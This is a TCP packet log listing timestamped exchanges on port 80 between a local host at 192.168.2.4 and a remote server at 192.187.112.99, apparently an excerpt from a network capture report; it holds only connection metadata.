Mar 19, 2024 08:56:53.941540003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941554070 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941577911 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941893101 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.941939116 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.941996098 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942040920 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942112923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942157984 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942188025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942205906 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942231894 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942245007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942271948 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942312002 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942383051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942406893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942421913 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942431927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942447901 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942459106 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942472935 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942512035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942531109 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942569017 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.942841053 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.942886114 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943006039 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943048954 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943065882 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943113089 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943155050 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943182945 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943201065 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943224907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943248987 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943290949 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943293095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943340063 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943512917 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943558931 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943680048 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943708897 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943725109 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943739891 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.943795919 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.943840027 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.944998980 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945046902 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945059061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945101976 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945173025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945216894 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945281982 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945324898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945394039 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945437908 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945458889 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945503950 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945549965 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945595026 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945609093 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945651054 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945682049 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945722103 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945810080 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.945856094 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.945950031 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946001053 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946043015 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946089029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946160078 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946208954 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946297884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946310997 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946343899 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946410894 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946455002 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946480036 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946520090 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946544886 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946589947 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946733952 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946779966 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946846008 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946863890 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946892023 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946904898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.946942091 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.946980953 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947025061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947076082 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947175026 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947220087 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947237968 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947285891 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947357893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947402954 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947446108 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947491884 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947503090 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947544098 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947587013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947629929 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947650909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947694063 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947751045 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947798014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947856903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.947902918 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.947968960 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948015928 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948045015 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948084116 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948142052 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948159933 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948184013 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948196888 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948235989 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948281050 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948292017 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948328972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948331118 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948375940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948390961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948421001 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948430061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948462963 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948627949 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948642969 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948676109 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948697090 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948740005 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948755026 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948791981 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948798895 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948827982 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.948863029 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.948915005 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949002981 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949016094 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949054003 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949078083 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949116945 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949126005 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949168921 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949228048 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949271917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949302912 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949346066 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949368954 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949413061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949439049 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949485064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949506044 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949544907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949572086 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949616909 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949670076 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949683905 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949717999 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949789047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949801922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949836016 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949908018 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949920893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.949950933 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.949970961 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950001001 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950042963 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950071096 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950114965 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950124025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950170040 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950179100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950227976 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950248957 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950289011 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950346947 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950392962 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950419903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950464010 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950475931 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950531006 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950551033 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950594902 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950602055 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950642109 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950664997 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950710058 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950759888 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950805902 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950836897 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950880051 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950890064 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.950931072 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.950958014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951001883 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951124907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951169968 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951200008 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951244116 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951270103 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951282978 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951311111 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951323032 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951354980 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951400995 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951432943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951478004 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951509953 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951523066 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951553106 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951582909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951627016 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951637030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951678991 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951702118 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951741934 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951793909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951839924 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951859951 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.951904058 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.951960087 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952004910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952023983 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952066898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952090025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952102900 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952136993 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952188969 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952234030 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952255011 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952296972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952362061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952404022 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952419043 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952461958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952472925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952517033 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952539921 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952553034 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952580929 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952595949 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952625990 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952668905 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952697039 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952744007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952780008 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952821016 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952883005 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952915907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.952927113 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952959061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.952994108 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953037977 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953064919 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953110933 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953141928 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953186035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953223944 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953270912 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953322887 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953366995 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953430891 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953474998 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953517914 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953561068 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953571081 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953613043 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953680992 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953726053 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953783035 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953826904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953846931 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.953886032 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.953970909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954015970 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954061985 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954109907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954152107 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954196930 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954227924 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954262972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954274893 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954298973 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954310894 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954351902 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954387903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954432964 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954463959 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954509020 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954530954 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954570055 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954638958 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954683065 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954688072 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954730988 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954773903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954813957 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954821110 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954850912 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954891920 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.954940081 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.954965115 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955009937 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955017090 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955059052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955070972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955115080 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955161095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955204964 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955291986 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955338955 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955389023 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955434084 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955463886 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955507994 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955570936 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955605030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955612898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955645084 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955660105 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955704927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955753088 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955789089 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955797911 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955828905 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955900908 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955946922 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.955956936 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955995083 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.955996990 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.956043959 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.956058025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.956075907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.956099033 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.956111908 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.956137896 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.956182003 CET	49729	80	192.168.2.4	192.187.112.99
